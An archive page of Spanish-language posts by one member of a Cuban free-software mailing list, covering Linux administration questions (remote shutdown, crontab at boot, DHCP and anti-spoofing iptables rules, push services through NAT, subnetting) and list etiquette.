[Gutl-l] Re: Apagar sistema operativo remotamente

2018-07-08 Por tema Hugo Florentino
A ver, en linux creas un usuario llamado apagar:

useradd -s /usr/local/bin/apagar

En esa ruta creas tu script de apagado donde tomes precaucion de cerrar tareas y demas, y das al script permisos de ejecucion

agregas el usuario al grupo poweroff (si mal no recuerdo):

usermod -aG poweroff apagar

Luego en windows creas un .bat o .cmd con la invocacion de putty con los parametros apropiados

Todo esto te lo digo de memoria pero yo lo use en el CIPS p que en la direccion pudieran apagar el server en caso q yo no estuviera y hubiera tronadas y eso
-- 
Enviado desde mi teléfono Android con GMX Mail. Por favor, disculpe mi brevedad.
___
Gutl-l mailing list -- gutl-l@listas.jovenclub.cu
To unsubscribe send an email to gutl-l-le...@listas.jovenclub.cu


Re: [Gutl-l] Enviar mensaje con un adjunto, desde la línea de comandos

2016-09-21 Por tema Hugo Florentino

On Tue, 20 Sep 2016 13:39:21 -0400, Alberto José García Fumero wrote:

Bueno, como parece que estamos un poco "mosqueados" en estos días,
aprovecho y lanzo una pregunta. Espero que la secuela sea 
interesante...


En ocasiones necesitamos hacer cosas como como esta que menciono en 
la

línea de asunto de este mensaje; por ejemplo en algún script de
monitoreo.

El problema está en que para poder enviar como adjunto un fichero
binario, necesitamos manipularlo. No puede ser enviado tal cual.


Una solución que uso es codificarlo primero con uuencode. Así los
códigos por encima de ASCII 127 serán “empaquetados” de manera que
puedan ser enviados (y decodificados al llegar a destino).

El programa uuencode lo encontramos (al menos en este Debian 6) en el
paquete sharutils. Una vez instalado el paquete, podemos preparar una
línea de comando como:
uuencode download_2.gif download_2.gif | /usr/sbin/sendmail
destinata...@minodo.cu

Con esto aseguramos que se envíe el fichero download2.gif.

El “pipìng” asegura que la salida del comando uuencode le sea pasada
como parámetro a nuestro MTA (debemos tener uno instalado).

No nos extrañemos de encontrar ese sendmail ahí; realmente es una
llamada a nuestro MTA, el que sea que tengamos. Existe un link de
compatibilidad en nuestro Postfix/Exim precisamente para poder hacer
estas cosas.

Ahora bien, a esta solución me gustaría poderle poner que el mensaje
tenga una línea de asunto, pero no lo he logrado. ¿Alguien puede
sugerirme una idea? (no me funciona ponerle un -s 'línea de asunto, 
por

cierto).


En Debian y derivadas (probablemente también en otras distribuciones) 
existe un paquete llamado "sendemail" (no confundir con sendmail), que 
sospecho tiene todo lo que puedes necesitar.


Basta con instalarlo y echar una ojeada a estos comandos:
sendemail --help
sendemail --help misc

El paquete es diminuto y tiene muy pocas dependencias.

Saludos, Hugo

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

Re: [Gutl-l] Dudas con DHCP

2016-09-07 Por tema Hugo Florentino
On Mon, 5 Sep 2016 11:22:18 -0400, rlsalgue...@topesdecollantes.co.cu 
wrote:
Hugo deberías hacerlo, de hecho es lo que hago tengo varios archivos 
md en
los que tengo varios temas cuando estoy configurando algo hago mi 
archivito

markdown y explico todo como para mi primito de 10 años tengo algunos
clásicos como Linuxhacks.md en el que tengo como configurar proxy 
otras
simples como sustituir cadenas en vim y asi cualquier cosa que se me 
ocurra
poner de hecho tenfo el título de configuración de red ah y todo lo 
hago con
las variantes para Debía|RedHat que son los "padres" más usados en 
caso de
ser necesario como por ejemplo la ubicación del fichero de 
configuración de

la red
Eso es porque llevo un tiempo pensando hacerme un blog o cooperar con 
alguno

siempre que acepten mi texto .md


Claro que tus aportes serán bienvenidos, podrías ponerlos en la wiki.
Yo ya estoy preparando el artículo sobre un cortafuegos con NAT, lo 
colocaré en la wiki en cuanto esté en un estado razonablemente 
terminado.

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Duda sobre crontab y reinicio

2016-09-06 Por tema Hugo Florentino

On Tue, 6 Sep 2016 15:08:07 -0500, Yoander Valdés Rodríguez wrote:

Mi objetivo no es ofender a nadie sino reflexionar, a veces no
podemos ser esquemáticos porque nos perdemos lo principal ;)



No me parece que hayas ofendido a nadie, aunque evidentemente 
reflexionamos de manera diferente ;)
Por ejemplo, en este caso no se que es para ti lo principal. Para mi es 
el intercambio argumentado y respetuoso en torno a las tecnologías 
libres, y las escasas observaciones que hago de cumplir las normas son 
solo cuando veo que la tendencia natural del cubano a relajarse podría 
malinterpretarse y se activa alguno de mis flags de alerta. Podría 
decirse que es un "reflejo condicionado" :)

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Duda sobre crontab y reinicio

2016-09-06 Por tema Hugo Florentino

On Mon, 5 Sep 2016 07:54:49 -0400, Arian Molina Aguilera wrote:
Y que tiene de malo esto, por favor, Hugo no exageren, que los 
tiempos

cambian. Que no es para tanto por dios. Con esas mentalidades nunca
llegaremos a ninguna parte. Buenos días. Salu2.


Puede que tengas razón, pero la supuesta "ganancia" de enlazar a 
artículos con poca o ninguna moderación en el lenguaje me pesa menos que 
el riesgo de pérdida de los servicios que con esfuerzo hemos logrado y 
que intentamos mantener, a veces contra corriente. Los tiempos podrán 
cambiar, pero ello no implica necesariamente que lo mismo ocurra con las 
personas que toman las decisiones, ¿para qué entonces arriesgarnos 
innecesariamente?


Si la tercera norma de la lista prohibe las "expresiones malsonantes" 
(eufemismo para malas palabras), debería resultar evidente que enlazar 
PUBLICAMENTE a un artículo "jocosamente coloreado" por estas, no es muy 
adecuado que digamos. Deseo que conste que conozco personalmente a 
Lázaro, hemos compartido juntos, se como es, y me rio con sus 
ocurrencias, pero una cosa es relajarse entre socios y otra usar medios 
proporcionados por el estado para escribir o enlazar a escritos que 
puede ver cualquiera con cualquier tipo de prejuicios.


Al menos este es mi punto de vista, como coordinador de GUTL y uno de 
los actuales administradores de sus servicios, entenderán que no puedo 
dejar de preocuparme un poco por estas cosas.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Duda sobre crontab y reinicio

2016-09-02 Por tema Hugo Florentino

On Fri, 2 Sep 2016 09:30:15 -0400, låzaro wrote:

A ver, hugo, mira esto:

http://uranio-235.github.io/blog/2015/11/12/rc-dot-local-en-systemd/

a ver si te ayuda a enfocarte



Gracias, pero ojo: aunque tu blog esté hospedado en github y obviamente 
sea personal, enlazar desde esta lista a un artículo cargado de 
"palabras pintorescas" podría tener repercusiones negativas para el 
grupo (recordar precedentes con Shanon), ese tipo de enlaces es mejor 
mandarlos en privado, o idealmente mejor aun sería hacer un poco de uso 
de autocontrol sobre el lenguje antes de publicar (hacer público) ;)

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Servidor de correo

2016-09-02 Por tema Hugo Florentino

On Fri, 2 Sep 2016 13:13:43 -0400, Yuniel Gonzalez wrote:

Hola amigos, en mi empresa usan mdaemon como solución de correo estoy
tratando de migrar a software libre pero no encuentro que montar. Si
alguien tiene alguna variante con documentación por favor le
agradecería la ayuda, saludos Yuniel



Para matar y salar rápido yo usé una vez Zentyal. El inconveniente 
viene a la hora de personalizarlo o asegurarlo al gusto, pero como paso 
de transición podría servirte.


Lo ideal sería montar y personalizar manualmente Postfix o Exim, 
Dovecot, Roundcube o Squirrelmail, etc.


En el pasado FLISoL Leslie dio una charla bastante completa sobre como 
montar un servidor de correo, lo que no recuerdo ahora donde podria 
encontrarse online, no se si llego a subirse al portal.


Si alguien mas puede enviar el enlace ...
__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Duda con acceso remoto

2016-09-02 Por tema Hugo Florentino

On Thu, 1 Sep 2016 08:46:53 -0400, Daniel Morfa wrote:

Hola lista tengo una duda, mi empresa consta con el servicio de
acceso remoto desde un modem actualmente lo tienen configurado con un
servicio de windows contra el AD pero bueno lo quiero migrar a alguna
solución en software libre si alguien tiene idea de alguna se lo
agradecería.



Si mal no recuerdo en nuestra wiki hay artículos relacionados que 
podrían servirte, revisa.

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Dudas con DHCP

2016-09-02 Por tema Hugo Florentino

On Thu, 01 Sep 2016 22:17:46 -0400, Ulises González Horta wrote:

El jue, 01-09-2016 a las 16:30 -0400, Alberto José García Fumero
escribió:

> En fin, me dicen si les parece interesante.
Ya tienes mi voto a favor.


jajaj, así que hablar en coreano Fumero Fumero, usted es mi profe, 
pero
a mis alumnos siempre les recomiendo estas cosas como lecturas 
obligadas


RFC 1918
RFC 3330
Tcp addressing and Subneting
Samba 3 por ejemplos

Son libros que ayudan demás ( ayudan más que mucho)

De cualquier forma cuando alguien sienta que se habla en coreano 
please
siéntase libre de pedir traducción al español de bodega... No hay 
nada

más jodido que no entender lo que te dice un médico


Por cierto, el documento RFC 3330 fue reemplazado por el 5735 y este a 
su vez por el 6890, que es la versión actualizada.


En general es buena práctica estudiarse los RFC relacionados a los 
servicios que uno vaya a implementar (hay algunos que incluso ilustran 
como evitar errores frecuentemente cometidos), y esto es especialmente 
importante a la hora de desarrollar aplicaciones de servicios.

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Duda sobre crontab y reinicio

2016-09-02 Por tema Hugo Florentino

On Thu, 01 Sep 2016 21:51:28 -0400, Servilio Afre Puentes wrote:

On Wed, Aug 31 2016, Hugo Florentino wrote:

[...]
De momento estoy resolviendo con esto, pero me disgustan las 
soluciones
poco elegantes, me recuerdan a los muñequitos aquellos eslavos de 
los

chapuzos:

@reboot sleep 45s; /usr/local/bin/miscript


¿Por qué los 45s de espera?



Porque en caso contrario hay subsistemas que aun no han cargado y el 
script no corre bien.
Justamente por esta espera arbitraria decía que me parecía una solución 
poco elegante.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Dudas con DHCP

2016-09-01 Por tema Hugo Florentino

On Thu, 01 Sep 2016 11:16:48 -0400, Alberto José García Fumero wrote:

Me encanta oírlos hablar en coreano, a tí y a Ulises... ;-)

La lista de cosas que por lo visto debo estudiar va siendo más larga 
que

esperanza de pobre...


Quizas sea que estos temas se ventilan poco entre los no-paranoicos de 
la seguridad, jejeje.


Como algunas protecciones básicas con iptables y otras cosillas no son 
difíciles de lograr pero no por ello se implementan, estaba valorando 
hacer un tuto en la wiki para dejar las cosas razonablemente mascadas, 
igual luego me sirve como recordatorio, porque generalmente olvido todo 
lo que implemento si no lo reviso regularmente, asi que probablemente 
sea mejor volcar las cosas a texto mientras aun estan frescas en mi 
mente.


En fin, me dicen si les parece interesante.
__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Dudas con DHCP

2016-09-01 Por tema Hugo Florentino

On Wed, 31 Aug 2016 23:57:26 -0400, Ulises González Horta wrote:

El mié, 31-08-2016 a las 16:48 -0400, Hugo Florentino escribió:

pero me entró la duda de si podría darse un
caso válido de broadcast por parte del servidor.


Pues no... creo que haker de charcos de h2O dulce estudió mal el
protocolo DHCP o lo esta confundiendo con SMB/CIFS y piensa que todo 
lo
que usa UDP tiene que hacer broadcast.., lo jodido es que si se trata 
de
una WIFI pudiera conseguir un DOS por saturación del canal... pero 
bueno
con bloquearle la mac tienes bastante, ya esa tarea te la dejo para 
tu
nueva regla de iptables   if broadcast udp:67 o 68  then drop 
source-mac

y que se vaya a comer mangos a otra parte



El servidor tiene los servicios DHCP y DNS como autoritarios, y además 
tiene su buena dosis de reglas elementales en iptables para evitar cosas 
raras, podría preparar un tutorial en la wiki al respecto si hay 
interés. No obstante, lo que me llama la atención es que los paquetes 
estén llegando en primer lugar, ya que el AP tiene puesto un dd-wrt al 
cual entre otras cosas le puse esto:


rc_firewall='iptables -t raw -A PREROUTING -s 192.168.0.1/32 -m mac ! 
--mac-source 1a:2b:3c:4d:5e:6f -j DROP && iptables -t raw -A PREROUTING 
! -s 192.168.0.1/32 -p udp -m udp --sport 67 -j DROP'


Quizás los paquetes estén llegando de todas formas porque el AP tiene 
un bridge entre WLAN Y LAN, de modo que está funcionando mas bien como 
switch, si siguen los intentos estoy valorando quitar el bridge y además 
habilitar la opción AP isolation, aunque quizas eso cree problemas para 
acceder a una impresora inalámbrica. En fin, que tengo para entretenerme 
durante un buen rato. ;)

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Sobre servicios tipo Push

2016-09-01 Por tema Hugo Florentino

On Wed, 31 Aug 2016 23:52:58 -0400, Ulises González Horta wrote:

El mié, 31-08-2016 a las 20:41 -0400, Arian Molina Aguilera escribió:
ni tampoco ipv6 en cuba, todavía están en estudios y fases de 
prueba,

de
madre lo nuestro. y es lo que te explicab


Hugo, creo que en esto es demasiado paranoico, tal y como dices si 
los
permites luego no sabes a quien dárselo y en ese caso solo vas a 
lograr
tener tráfico que como mínimo le dará más trabajo innecesario a tu 
FW,

así que  los bloqueas y terminamos con este debate ajajjajaja


Es como ha estado hasta ahora, lo que las trazas me hicieron 
preguntarme si sería técnicamente factible habilitar el servicio push.

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Sobre servicios tipo Push

2016-08-31 Por tema Hugo Florentino

On Wed, 31 Aug 2016 16:40:50 -0400, Arian Molina Aguilera wrote:
hugo no te machaques tanto el coco, eso es por gusto, no es posible 
lo
que quieres, en nuestras redes nateadas, con lan privadas, no es 
posible
hacer push a todos los clientes de la lan, con firewall tan celosos 
de

por medio, como los que configuras con iptables. Como tu mismo lo
analizas, si no hay un tráfico previamente de salida, que relaciones 
a
tus clientes con conexiones entrantes, no hay forma de que hagas un 
port
forward de todo lo que venga push a dichos clientes, en estas redes 
eso

no es posible. Salu2.


Es cierto que mi configuración de los cortafuegos suele ser un poco 
paranoica, pero segun veo (y me argumentan si me equivoco), incluso de 
configurarse el cortafuegos de forma sumamente permisiva, una vez que el 
paquete llegue al cortafuegos procedente del servidor externo, no se 
sabrá con seguridad a quien reenviarlo si no existe tráfico relacionado 
previo. Unicamente en el caso de una red con tantas ips externas como 
clientes usando el servicio habría suficiente certeza como para hacer un 
NAT 1:1, pero en caso contrario lo único que podría hacerse es un 
broadcast hacia la LAN y eso no solo es ineficiente (e inseguro) sino 
que ademas no sirve para todo.


Creo que incluso de usarse un proxy, el problema sería el mismo. En 
fin, que no parece que el tráfico push sea muy compatible con redes ipv4 
como las que aun abundan por aca, quizas con ipv6 exista la forma de que 
la cosa funcione, pero no he tenido chance ni necesidad de sumergirme a 
estudiarlo.

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Dudas con DHCP

2016-08-31 Por tema Hugo Florentino

On Wed, 31 Aug 2016 11:50:22 -0400, Ulises Gonzalez wrote:

On 08/31/2016 11:30 AM, Hugo Florentino wrote:

Otra cosa: ¿Es válido que un servidor de DHCP haga difusiones a la
dirección global (digamos, "anunciando" el servicio) sin haber 
recibido

petición alguna?


Esto nunca lo he visto.. en este caso yo diria que la respuesta es
no, que me corrija alguien con bases solidas,


Es lo que suponía. Sucede que esto esta ocurriendo en la Wifi de unos 
conocidos, y aparentemente hay algun aprendiz de hacker que intenta 
ponerse la dirección del servidor DHCP y enviar un broadcast quizas en 
esperas de que algun cliente se conecte con el y le pase detalles de la 
red, etc. Igual no lo conseguirá porque puse unas reglas contra posibles 
intentos de IP spoofing, pero me entró la duda de si podría darse un 
caso válido de broadcast por parte del servidor.

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Duda sobre crontab y reinicio

2016-08-31 Por tema Hugo Florentino

On Tue, 30 Aug 2016 21:03:17 -0400, Servilio Afre Puentes wrote:

On Fri, Aug 26 2016, Hugo Florentino wrote:


On Thu, 25 Aug 2016 12:08:57 -0400, låzaro wrote:

preguntaste cuando se ejecutaba el cron, ahí estás viendo cuando se
ejecuta cada servicio durante el arranque


De acuerdo, y si pongo una tarea con @reboot donde caería?


Donde esté crontab, ahí es dónde se inician (o poco después). Otros
servicios pueden arrancarse mientras esa tarea se corre, o entre el
arranque de crontab y la corrida de tu tarea. La única forma de 
asegurar

un orden en el arranque para una tarea es creando una unidad con las
entradas apropiadas del tipo "After/Before" y "*Require*".



Hmm... lo que suponía, hay que meterse en el fanguizal de systemd.

De momento estoy resolviendo con esto, pero me disgustan las soluciones 
poco elegantes, me recuerdan a los muñequitos aquellos eslavos de los 
chapuzos:


@reboot sleep 45s; /usr/local/bin/miscript

En fin, no me queda otro remedio que estudiar la creación de unidades 
cuando tenga un tiempo libre :(

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Sobre servicios tipo Push

2016-08-31 Por tema Hugo Florentino

On Wed, 31 Aug 2016 11:39:12 -0400, Ulises Gonzalez wrote:

On 08/31/2016 11:32 AM, Hugo Florentino wrote:
En cualquier caso, ¿qué debería hacerse para permitir a los clientes 
de

una red local saliendo mediante NAT el acceso a servicios tipo push?



Normalmente en este caso lo que se hace es que se deja abierto el
puerto en el FW, es lo que siempre hacemos para servidores web, y
correo smtp, pero huelo a que tienes un caso raro, que te pasa
exactamente??


Es que los servicios no estarían en el servidor de la red local, la 
idea es que los clientes de la red local tengan acceso a servicios push 
externos.


Supongamos que tengo paquetes nuevos supuestamente provenientes de 
bloques de direcciones de Google desde los puertos udp/53, tcp/80 o 
tcp/443 con destino a un puerto no privilegiado en la dirección ip 
externa del cortafuegos, en este caso son descartados por una regla que 
tengo para todo paquete que venga de un puerto privilegiado con estado 
nuevo. Pero en ocasiones Google utiliza servicios push que podrían estar 
siendo detenidos por esta regla.


No obstante, como el cortafuegos en si no navega (excepto para 
update/upgrade) y además tiene políticas de denegación por defecto, los 
únicos puertos que tiene abiertos son aquellos donde hay servicios o que 
el equipo abre puntualmente para establecer conexiones con el exterior, 
por lo demás solo reenvía el tráfico entre los clientes y el exterior.


De modo que estos paquetes provenientes de Google solo podrían estar 
destinados a clientes de la red local, que por cierto utiliza 
direcciones reservadas de clase C. Lo curioso es que si permito que el 
cortafuegos reenvíe hacia la red local cualquier paquete nuevo 
proveniente de Google digamos desde los puertos 80 y 443, de todas 
maneras los paquetes son descartados porque el rastreo de conexiones no 
ha visto tráfico reciente relacionado entre ningun cliente y Google, de 
modo que el cortafuegos no sabe a quien reenviarlos.


Algo parecido sucede con paquetes provenientes desde direcciones de 
Yahoo con el puerto de origen tcp/5050, y desde otras direcciones como 
las redes de IMO con los puertos de origen tcp/5223 o 5228, etc.


De modo que si creo una regla que acepte en las cadenas INPUT y FORWARD 
cualquier paquete nuevo proveniente de esos puertos, no solo será por 
gusto, sino que además estaré creando una vulnerabilidad innecesaria 
porque muchas redes maliciosas envían paquetes nuevos desde puertos 
privilegiados con la esperanza de encontrar un cortafuegos mal 
configurado que permita su paso.


Todo esto lo digo basado solo en análisis de trazas y deducción, no es 
que esté 100% seguro de que es lo que realmente ocurre.


Saludos, Hugo
__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


[Gutl-l] Sobre servicios tipo Push

2016-08-31 Por tema Hugo Florentino

Hola colegas,

Una buena parte de los servicios funciona bajo el principio Pull 
(halar), es decir, el cliente hace una petición y el servidor le entrega 
una respuesta. Cuando existe una red local donde los clientes acceden a 
servicios externos mediante NAT, configurar el cortafuegos para permitir 
el acceso es relativamente sencillo.


Sin embargo, en el caso de un servicio Push (empujar), la cosa se 
complica, porque (a menos que me equivoque, y me aclaran de ser el caso) 
el servidor remoto enviaría a la dirección ip externa de la red un 
paquete nuevo y como el cortafuegos obviamente no tendría aun en el 
rastreo de conexiones tráfico relacionado con esa nueva conexión en 
particular, lo mas seguro es que no sepa a quién reenviar el paquete.


En cualquier caso, ¿qué debería hacerse para permitir a los clientes de 
una red local saliendo mediante NAT el acceso a servicios tipo push?


Saludos, Hugo
__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


[Gutl-l] Dudas con DHCP

2016-08-31 Por tema Hugo Florentino

Hola colegas,

Para que un cliente con una dirección IP de una subred clase C, 
solicite una renovación correctamente, cual (o cuales y en que orden) de 
estas cosas debería intentar?


a) Enviar una petición desde la dirección 0.0.0.0 a la dirección de 
difusión global
b) Enviar una petición desde su dirección IP a la dirección de difusión 
global
c) Enviar una petición desde su dirección IP a la dirección de difusión 
de la subred
d) Enviar una petición desde su dirección IP a la dirección del 
servidor DHCP de la subred


Otra cosa: ¿Es válido que un servidor de DHCP haga difusiones a la 
dirección global (digamos, "anunciando" el servicio) sin haber recibido 
petición alguna?


Saludos, Hugo
__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Duda sobre crontab y reinicio

2016-08-26 Por tema Hugo Florentino

On Thu, 25 Aug 2016 12:08:57 -0400, låzaro wrote:

preguntaste cuando se ejecutaba el cron, ahí estás viendo cuando se
ejecuta cada servicio durante el arranque


De acuerdo, y si pongo una tarea con @reboot donde caería? Porque no 
estoy familiarizado con esas unidades y no se cual de ellas corresponda 
a lo que me interesa.

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Ayuda con centralizacion de nodos

2016-08-25 Por tema Hugo Florentino

On Wed, 24 Aug 2016 10:03:09 -0430, Francisco R. Díaz Ortíz wrote:

Saludos:
Colega Alberto. Me disculpo si no fui muy claro en la explicacion,
necesito montarlo en linux epero yo probe con ipcop pero no logre dar
pie con vola en ese asunto, tambien intente con win2 server 2003 pero
nada, mi interes es montarlo en linux pero no se como
el asunto es que tengo varios secmentos de la red, una con 18 pc,
otra con 15 y una de 8. donde cada uno de esos secmentos tiene sis
propios servicios, como ejemplo un ftp, una web y cosas asi y un chat
interno
ahora necesito hacer la manera de que uniendo esas redes, ninguno de
los chat internos via udp se vean, y que nadie de otro secnebto pueda
entrar en los servicios del otro, es centralisar la red en un solo
punto, y ese punto determine a donde va el trafico, he buscado en
internet sobre este asunto y hacen referencia muy pobre sobre el
asunto menciones mil dos soluciones pero ninguna segun los 
comentarios

logro funcionar.



Me parece que te estás complicando innecesariamente.

Tus requerimientos actuales no justifican utilizar el mismo bloque 
192.168.0.0/16 (como dices en un mensaje posterior) compartido para 
todos, especialmente cuando quieres separación de servicios. Bien 
podrías separar los segmentos de red en direcciones 192.168.x.0/24 y aun 
así tendrías disponibles 253 direcciones para cada segmento. Ahora, si 
253 direcciones te parecen pocas, cambia a la clase A, y utiliza para 
tus segmentos direcciones 10.x.0.0/16 y tendrás disponibles hasta 256 
segmentos de más de 65000 direcciones cada uno.


El resto es solo confiurar el cortafuegos apropiadamente, y no deberías 
necesitar trastear mucho los servicios.

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Sobre el robo de hilos y otras hierbas

2016-08-24 Por tema Hugo Florentino

On Wed, 24 Aug 2016 11:58:49 -0400, Ulises Gonzalez wrote:

On 08/24/2016 11:30 AM, Hugo Florentino wrote:

Colegas,

Por favor, no roben hilos, esto es una violación de las normas de 
uso de
la lista (que no pueden alegar que desconocen, porque recientemente 
las

envié a la lista).

Para ser claros: si se pretende crear un nuevo hilo o pregunta, 
hágase
SIN responder, debe CREARSE un NUEVO mensaje. Recomendamos además 
evitar
responder a un mensaje en un hilo ajeno excepto para notificar sobre 
la
infracción, porque de responderse se alienta el comportamiento 
incorrecto.


Sabes lo que pasa con esto Hugo (y dem'as administradores) que lo
usuarios que escriben desde  clientes windows no Thunderbird por lo
general no saben que es un hilo de respuestas y por ello muchas veces
cuando le llega un correo como este no saben de lo que le estamos
hablando pues no les pasa a ellos, no creo que sea una falta de
consideraci'on, si no en parte una falta de conocimiento



Cierto Ulises,

Por eso justamente he recordado las normas y explicado brevemente por 
qué no hacer preguntas respondiendo a un mensaje cualquiera. Aunque no 
se entienda del todo, no puede decirse que sea una norma difícil de 
cumplir, de modo que no podrá decirse luego que si un usuario infringe 
las normas y se pasa a moderación será por no haberse informado. 
Obviamente que los administradores y moderadores de GUTL tenemos mejores 
cosas que hacer con nuestro escaso tiempo libre que estar moderando a 
nadie, lo cual es bastante fastidioso para nosotros también, de modo que 
lo mejor para todos es que simplemente se cumplan las normas.


En cualquier caso, en GUTL estamos abiertos al diálogo respetuoso y 
bien argumentado, de manera que si hay alguna norma poco razonable, 
puede debatirse y modificarse de ser necesario, aunque francamente no 
son tantas, son fáciles de cumplir y una buena parte resulta bastante 
obvia y común para una lista de correos.


Saludos, Hugo

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] [Off-topic] Error sitio GUTL

2016-08-24 Por tema Hugo Florentino

On Wed, 24 Aug 2016 13:46:45 -0400, nun...@infomed.sld.cu wrote:

EL portal esta dando error, con el certificado de seguridad

gutl.jovenclub.cu usa un certificado de seguridad no válido. El
certificado no será válido hasta miércoles, 24 de agosto de 2016
03:00. La fecha y hora actual es miércoles, 24 de agosto de 2016
01:47. Código de error: MOZILLA_PKIX_ERROR_NOT_YET_VALID_CERTIFICATE

Saludo
Alejandro


Lamentablemente no gestionamos personalmente los servidores, sino que 
lo socicitamos a los colegas de Tino y quizas a su vez ellos tengan 
límites en lo que pueden hacer con servicios que están actualmente en la 
nube de Etecsa.
A estas alturas el certificado debería ser válido, pero es buena la 
salvedad para todos que no deben crearse certificados con fechas y horas 
que aun no han llegado, ni siquiera para redondear.


Gracias de todas maneras por reportar el problema, averiguaremos al 
respecto en cuanto se nos presente la oportunidad.


Saludos, Hugo
__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Duda con persistencia de sysctl.conf

2016-08-24 Por tema Hugo Florentino

On Wed, 24 Aug 2016 14:18:17 -0400, Arian Molina Aguilera wrote:

bueno te acabo de hacer la prueba, la primera vez fallo, no cargo el
modulo, nf_conntrack_ipv4, por lo que lo puse para que cargará al 
inicio

y así si funciono.


En ese caso evidentemente es un error de este sistema en particular.
Gracias por la ayuda.
__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


[Gutl-l] Sobre el robo de hilos y otras hierbas

2016-08-24 Por tema Hugo Florentino

Colegas,

Por favor, no roben hilos, esto es una violación de las normas de uso 
de la lista (que no pueden alegar que desconocen, porque recientemente 
las envié a la lista).


Para ser claros: si se pretende crear un nuevo hilo o pregunta, hágase 
SIN responder, debe CREARSE un NUEVO mensaje. Recomendamos además evitar 
responder a un mensaje en un hilo ajeno excepto para notificar sobre la 
infracción, porque de responderse se alienta el comportamiento 
incorrecto.


Puede que suene fastidioso que se insista en esto, pero muchos de 
nosotros configuramos nuestros clientes de correo para mostrar los 
mensajes organizados por hilos, y es bastante molesto estar abriendo 
todos los hilos solo para verificar si hay nuevos mensajes ajenos a los 
diferentes hilos.


Muchos usuarios nuevos sencillamente tienen malos hábitos y necesitan 
comprender que seguir las normas de este servicio que GUTL en 
coordinación con los JCCE ofrecen gratuitamente, es un "sacrificio" 
insignificante a cambio de los beneficios que otorga. Además, nótese que 
los moderadores pueden poner temporal o permanentemente a los 
infractores de esta norma (y las demás) en modo moderado o incluso 
suspender las suscripciones en el caso de infracciones reiteradas o 
graves, asi que evidentemente es mucho mejor ahorrarnos todos las 
molestias que esto genera y simplemente seguir las normas, ¿si?


Es todo, disculpen la muela ;)

Saludos, Hugo
__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Duda sobre crontab y reinicio

2016-08-24 Por tema Hugo Florentino

